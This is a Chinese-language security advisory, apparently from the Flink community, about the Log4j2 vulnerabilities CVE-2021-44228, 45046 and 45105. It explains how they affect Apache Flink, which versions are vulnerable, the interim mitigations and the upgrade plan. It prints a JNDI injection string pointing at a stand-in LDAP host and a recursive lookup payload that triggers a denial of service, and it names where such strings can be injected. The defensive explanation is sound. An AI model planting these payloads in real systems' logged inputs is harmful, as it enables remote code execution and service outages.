本文作者俞航翔&李鈺,詳細說明了 Log4j2 Zero Day 漏洞的影響,以及 Flink 社群的應對方案。主要內容包括:
- 漏洞說明
- Flink 使用者可能受到的影響
- 受影響的 Flink 版本和臨時解決方案
- Flink 社群修復計劃
概述
Apache Log4j 是基於 Java 的日誌記錄工具,Apache Log4j2 重寫了 Log4j 並增加了很多豐富的特性。最近,由阿里雲安全報告了 Apache log4j2 的 Zero Day 漏洞[1],基於該漏洞,攻擊者可以構造惡意請求,觸發遠端程式碼執行漏洞,目前該漏洞被 CVE-2021-44228[2] 追蹤。Log4j 團隊在發現該問題後馬上釋出了 2.15.0 版本,並給出了臨時解決方案。
12 月 14 日,來自 Twitter 公司的團隊發現並且報告了一個新的漏洞問題:CVE-2021-45046[17]。該漏洞表示 2.15.0 中對 CVE-2021-44228 的修復以及給出的臨時解決方案並不完備,在某些配置條件下依然會被利用導致 DOS 攻擊。隨後 Log4j 團隊又釋出了 2.16.0 版本,並推薦受影響的軟體升級至該版本,同時給出了新的臨時解決方案。
上述漏洞的影響版本範圍為 2.0-beta9 <= log4j2 <= 2.12.1 和 2.13.0 <= log4j2 <= 2.15.0。Apache Flink 在 1.10 及以前的版本中使用的是 Log4j 1.x 版本,可以認為不受影響。而 1.11 及以上版本中使用了 Log4j 2.x 版本,且均在受影響範圍內。
12 月 16 號,有關 Apache Log4j 的一個新的漏洞問題被提出[18],經過驗證後 CVE-2021-45105[19] 於 12 月 18 號釋出。該漏洞進一步表示 2.16.0 版本及 CVE-2021-45046 的臨時修復方案在某些配置條件下依然有被 DOS 攻擊的風險。隨後,Log4j 團隊馬上釋出了 2.17.0 版本,並給出了新的臨時修復方案。
上述漏洞的影響版本範圍為 2.0-beta9 到 2.16.0。
接下來我們將首先簡要闡述漏洞的細節和影響,然後會特別說明該漏洞對 Flink 使用者可能產生的影響,最後將詳細介紹 Flink 使用者對該漏洞可採用的臨時解決方案和 Flink 社群的修復計劃。
一、漏洞說明
CVE-2021-44228
這個漏洞可以追溯到 Log4j 早年間引入的一個 Feature。2013 年,Log4j 在 2.0-beta9 版本[3] 中新增了 “JNDILookup plugin”[4] 功能。
Java 在 1990 年之後引入了 JNDI 作為一種目錄服務,讓 Java 程式可以以 Java 物件的形式通過目錄查詢資料。JNDI 提供了多種 SPI 支援不同的目錄服務,如 CORBA COS (公共物件服務)、Java RMI (遠端方法介面) Registry 和 LDAP (輕量級目錄訪問協議)。這些都是可能被 CVE-2021-44228/45046 漏洞利用的服務。
Java 程式可以結合使用 JNDI 和 LDAP 來查詢包含可能需要的資料的 Java 物件。例如,在標準 Java 文件中有一個與 LDAP 伺服器通訊以檢索物件屬性的示例。即使用 “ldap://localhost:389/o=JNDITutorial” 這個 URL 從執行在同一臺機器 (localhost) 上的埠為 389 的 LDAP 伺服器中查詢 JNDITutorial 物件,並繼續從中讀取屬性。
根據 JNDI 官方幫助文件描述 “如果您的 LDAP 伺服器位於另一臺機器上或正在使用另一個埠,那麼您需要編輯 LDAP URL”,LDAP 伺服器可以在不同的機器上執行,也可以在 Internet 上的任何地方執行。這種靈活性意味著如果攻擊者能夠控制 LDAP URL,他們就能夠讓 Java 程式從他們控制的伺服器載入物件。
在 Log4j 包含漏洞的版本中,攻擊者可以通過傳入類似 “${jndi:ldap://example.com/a}” 形式的字串來控制 Log4j 訪問的 LDAP URL。在這種情況下,Log4j 將連線到 example.com 上的 LDAP 伺服器並檢索物件。
Log4j 對 “${prefix:name}” 形式有特殊的語法解釋,其中 prefix 是 Log4j 提供的多種 Lookups<sup>[5]</sup> 中的一種,name 則對應在該 Lookup 下的一種執行屬性。例如,${java:version} 是當前執行的 Java 版本。
而 LOG4J-313 增加的 JndiLookup 提供了通過 JNDI 檢索變數的能力。在預設情況下,key 將以 “java:comp/env/” 這種形式作為 prefix。但當 key 中本身就包含額外的 “:” 時,則解析不到正確的 prefix 形式。例如字串 “${jndi:ldap://example.com/a} ” 傳入時,Log4j 將檢測不到正確的 prefix,由於 Message Lookup 機制,其行為會變成在 LDAP 伺服器中查詢目標物件。
因此,攻擊者只需要找到一個可能被列印的輸入並在其中新增類似 “${jndi:ldap://example.com/a}” 的字串。比如攻擊者可能將攻擊字串插入到類似 User-Agent 的 HTTP header 中、類似 username 的表單引數中等。
這種方式在基於 Java 的面向 Internet 的應用中很常見。更令人窒息的是,這種資料可能會從一個系統傳遞到另一個系統中,導致使用 Java 的非面向 Internet 的應用也會中招。
例如,一個利用該漏洞的 User-Agent 的字串可以傳遞到使用 Java 編寫的後端系統中,該系統可能會基於漏洞資料建立索引或資料分析,而這些過程中漏洞資料有可能也會被 Log4j 列印,進而造成嚴重的影響。因此,所有使用 Log4j2 的基於 Java 開發的軟體都應該進行馬上採取修補措施,否則潛在的威脅很大。即使面向 Internet 的軟體不是用 Java 編寫的,惡意字串也有可能會被傳遞到其他使用 Java 編寫的系統中從而產生嚴重問題。例如一個基於 Java 編寫的記賬系統,它可能在找不到客戶的名字時進行列印。而攻擊者可以建立一個包含漏洞資訊的客戶名字的訂單,而該漏洞資訊很可能會在 Web 伺服器、資料庫系統中傳遞並最後進入賬單系統中,鏈路中的各個系統都可能受到影響。
此外,Java 除了在面向 Internet 的系統中使用外,也在很多其他場景中被使用。例如一個包裹處理系統上的 QR 碼或者一個非接觸式門的電子鑰匙,如果它們用 Java 編寫並使用了 Log4j,那麼都很有可能被攻擊。一個精心製作的二維碼可能包含一個漏洞資訊的郵政地址,一個精心編碼的電子鑰匙可能帶有漏洞利用的惡意程式,直接跟蹤我們的進出的記錄。
還有一些包含定時任務的系統可能不會馬上處理該漏洞資訊,在該定時任務彙總、存檔過程列印該惡意字串之前,該漏洞可能會一直處於休眠狀態。而在數小時甚至數天後才會觸發到該漏洞並造成嚴重影響。
CVE-2021-45046
這個漏洞由 Twitter 發現。2.15.0 版本對 CVE-2021-44228 的修復和 Log4j 團隊之前給出的建議並不能完全避免該漏洞的影響。其原因是當日志配置中使用了一些非預設的 Pattern Layout (Context lookup 或者 Thread Context Map pattern) 時,攻擊者可以利用該模式注入惡意資料。
如果日誌配置中存在上述的 Pattern Layout,基於 “log4j2.formatMsgNoLookups=true” 的方案並不能阻止惡意資料利用 JndiLookup 去觸發 CVE-2021-44228,即使 2.15.0 中限制 JNDI LDAP Lookup 的範圍在 Localhost,依然會面臨 DOS 攻擊的風險。
CVE-2021-45105
該漏洞表明,Log4j 2.16.0 版本基於 CVE-2021-45046 的修復和臨時解決方案下依然存在被 DOS 攻擊的風險。其原因是當日志配置中使用了 Context lookup 這種非預設的 Pattern Layout 時(如 $${ctx:loginId}`),攻擊者可以在 Thread Context Map 中加入惡意的資料(如 `${${::-${::-$${::-j}}}}
)從而觸發無限迴圈地 Lookup,進一步因為 StackOverflowError 導致程式終止。
如果日誌配置中存在上述的 Pattern Layout,基於 “log4j2.formatMsgNoLookups=true” 和 "remove JndiLookup.class" 的方案並不能阻止惡意資料觸發 CVE-2021-45105,因為該漏洞的根源發生在 String Substitution 過程中。
二、Flink 使用者可能受到的影響
使用 1.11 及以上版本的 Flink,會受到該漏洞的影響。如上一章節中所述,雖然大部分使用場景下 Flink 並不直接面向 Internet,但攻擊字串可能會從其他系統直接傳入到 Flink (即使其他系統已經做了一些防範措施) 並由 Flink 中的 UDF 進行處理,而這個過程中的 Record 相關的列印操作就會觸發該漏洞 (事實上,這種列印操作在實際應用中很常見),進而造成嚴重影響。
以常見的日誌分析場景為例,我們經常見到在 UDF 中列印 Record 的相關資訊的操作,當攻擊字串 (如 ${jndi:ldap://example.com/a}) 從 Kafka 傳遞到 Flink 中被這些 UDF 處理時,會直接導致作業執行環境中的節點受到影響。類似的訊息傳遞一方面不受報文傳遞加解密的限制 (UDF 在處理經過加密的訊息時會先解碼),另一方面不需要 Flink 作業的提交許可權而是可以直接在上游注入。因此對於 Flink 系統,尤其是對可訪問外網且缺乏安全容器隔離能力的執行環境來說,具備很高的威脅。
三、受影響的 Flink 版本和臨時解決方案
目前 Flink 各個已釋出版本使用的 log4j 版本詳情如下:
可以看到,Flink 在 1.11 及以上的版本使用的均是 2.x 的 Log4j 版本,因此均會受影響,而 1.10 及以下的版本可以認為不受影響。目前社群已積極響應修復該問題,詳細修復計劃將在下一章節介紹。
在社群尚未釋出對應修復版本之前,需要採用 Log4j 團隊最新建議的方式解決。
若社群已釋出 Log4j 2.17.0 對應的修復版本,使用者可以直接升級到最新版本,停止並重啟作業後即可避免這些漏洞。
若目前作業使用的 Flink 版本是 Log4j 2.16.0 對應的各個版本 (即 1.14.2,1.13.5,1.12.7,1.11.6),有兩種解決方案:
- 在日誌配置的 PatternLayout 中,將類似
${ctx:loginId}
or$${ctx:loginId}
的 Context lookup 模式替換成 Thread Context Map 模式 (如%X, %mdc, or %MDC
) - 在日誌配置中完全移除掉類似
${ctx:loginId}
or$${ctx:loginId}
的 Context lookup 模式 (核心還是在於這種模式下是可以注入惡意資料並被 Log4j 解析的)
若目前作業使用的 Flink 版本是 Log4j 2.15.0 或更早的版本對應的各個版本 (即 1.14.1,1.13.4,1.12.5,1.11.4 及之前的版本),除了上述的操作外,還需要使用:
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
將 Flink 中依賴的 log4j-core 裡的 JndiLooup.class 刪除,以達到 2.16.0 中禁用 JNDI 的效果。
需要注意以下三點:
- 該修復過程需要停止作業,在做完修復後重啟。
- 對於 Apache Log4j 的 Zero Day 問題,雖然之前有其他的臨時解決方法[6][7],但目前只有上面的方式能完全避免該漏洞的影響。
- 建議在社群釋出修復版本後,儘快批量升級作業至對應的版本。
四、Flink 社群修復計劃
目前 Log4j 已釋出了 2.15.0,2.16.0 和 2.17.0 版本,具體修復內容如下:
Flink 社群在得知這個漏洞後,馬上討論了修復計劃[14],社群先將 master 分支中 Log4j 的版本升級至 2.15.0,同時 pick 了該修復到 1.14.1,1.13.4,1.12.5,1.11.4[12],目前這些版本已經發布,使用者可以直接使用,例如:
https://search.maven.org/arti...
但考慮到 Log4j 的 2.16.0 版本才能更徹底地解決該問題,社群將 master 分支中 Log4j 的版本進一步升級至 2.16.0,同時 pick 該修復到 1.14.2,1.13.5,1.12.7,1.11.6[13]。目前這些新版本的投票已完成,相信會盡快完成釋出[14][15][16]。
目前關於 Log4j 2.17.0 對應修復版本的計劃正在討論中[20][21]。在 Flink 社群釋出 Log4j 2.17.0 對應的各個修復版本後,使用者只需要將作業使用的 Flink 版本進行升級,即可完全避免該問題。
參考
[1] Apache Log4j Vulnerability Details and Mitigation
https://www.cyberkendra.com/2...
[2] CVE-2021-44228
https://nvd.nist.gov/vuln/det...
[3] Apache Log4j 2.0-beta9 released
https://blogs.apache.org/logg...
[4] LOG4J2-313
https://issues.apache.org/jir...
[5] LOG4J Lookups
https://logging.apache.org/lo...
[6] Advise on Apache Log4j Zero Day (CVE-2021-44228)
https://flink.apache.org/2021...
[7] CVE-2021-44228 Solution
https://stackoverflow.com/que...
[8] LOG4J2-3198
https://issues.apache.org/jir...
[9] LOG4J2-3201
https://issues.apache.org/jir...
[10] LOG4J2-3208
https://issues.apache.org/jir...
[11] LOG4J2-3211
https://issues.apache.org/jir...
[12] Update log4j2 version to 2.15.0
https://issues.apache.org/jir...
[13] Update Log4j to 2.16.0
https://issues.apache.org/jir...
[14] [DISCUSS] Immediate dedicated Flink releases for log4j vulnerability
https://lists.apache.org/thre...
[15] [VOTE] Release 1.11.5/1.12.6/1.13.4/1.14.1, release candidate #1
https://lists.apache.org/thre...
[16] [VOTE] Release 1.11.6/1.12.7/1.13.5/1.14.2, release candidate #1
https://lists.apache.org/thre...
[17] CVE-2021-45046
https://nvd.nist.gov/vuln/det...
[18] LOG4J2-3230
https://issues.apache.org/jir...
[19] CVE-2021-45105
https://nvd.nist.gov/vuln/det...
[20] CVE-2021-45105: Apache Log4j2 does not always protect from infinite recursion in lookup evaluation
https://lists.apache.org/thre...
[21] FLINK-25375